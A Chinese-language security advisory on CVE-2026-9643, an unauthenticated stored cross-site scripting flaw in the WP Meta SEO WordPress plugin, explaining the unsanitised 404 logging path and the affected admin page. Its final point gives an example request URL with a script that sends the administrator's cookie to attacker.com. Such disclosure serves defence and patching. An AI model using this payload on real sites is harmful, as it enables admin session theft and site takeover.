CVE-2026-9643CVE-2026-9643是WordPress WP Meta SEO插件中存在的一个高危未认证存储型跨站脚本(Stored XSS)漏洞。该漏洞由Wordfence安全团队的安全研究员发现,CVSS评分为7.2分,属于高危级别。WP Meta SEO是一款广泛使用的WordPress SEO优化插件,用于帮助网站管理员管理元数据、重定向、404错误页面等SEO相关功能。
该漏洞影响该插件所有4.5.18及以下版本。由于插件在处理404错误页面重定向时,未对用户可控的服务器变量进行充分的输入验证和输出转义,导致未认证的远程攻击者可以通过精心构造的HTTP请求注入恶意JavaScript代码。这些恶意代码会被持久化存储到数据库中,每当WordPress管理员访问插件的"404 & Redirects"管理页面(/wp-admin/admin.php?page=metaseo_broken_link)时,存储的恶意脚本就会在管理员的浏览器中执行。
由于该漏洞无需任何认证即可利用(PR:N),且无需用户交互(UI:N),攻击复杂度低(AC:L),同时影响范围发生改变(S:C),这使得该漏洞具有较高的实际威胁。攻击者可以利用此漏洞窃取管理员会话Cookie、劫持管理员账户、植入后门、进行权限提升,甚至完全控制受影响的WordPress网站。该漏洞已于2026年6月24日公开披露,鉴于其利用难度低且影响范围广,网站管理员应尽快采取修复措施。
该漏洞的技术根源在于WP Meta SEO插件的`wpmsTemplateRedirect()`钩子函数中存在不安全的数据库插入操作。具体技术细节如下:
1. **触发条件**:当用户访问WordPress网站上不存在的URL时,WordPress核心会触发404错误处理流程。此时,WP Meta SEO插件通过`wpmsTemplateRedirect()`钩子拦截该请求。
2. **危险的数据流**:插件在处理404错误时,执行以下危险操作:
- 直接读取`$_SERVER['HTTP_HOST']`(HTTP Host头)和`$_SERVER['REQUEST_URI']`(请求URI)
- 将这两个服务器变量进行字符串拼接,未进行任何过滤或转义
- 通过WordPress的`$wpdb->insert()`方法将该拼接后的字符串直接插入到`wp_wpms_links`数据表的`link_url`列中
3. **注入向量**:由于`$_SERVER['REQUEST_URI']`完全由攻击者控制(可通过构造恶意URL),而`$_SERVER['HTTP_HOST']`也可通过修改HTTP Host头进行操控,攻击者可以在这些字段中注入任意字符串,包括HTML和JavaScript代码。
4. **XSS载荷执行**:当WordPress管理员访问插件的"404 & Redirects"管理页面时,插件会从数据库中读取所有存储的链接记录(包括被注入恶意代码的记录),并将其渲染到管理页面中。由于输出时未进行HTML实体编码,恶意JavaScript代码将在管理员的浏览器上下文中执行。
5. **利用方式**:攻击者只需向目标网站发送一个包含恶意脚本的请求URL,例如:`http://target.com/<script>document.location='http://attacker.com/steal?c='+document.cookie</script>`,即可将恶意代码持久化存储到数据库中。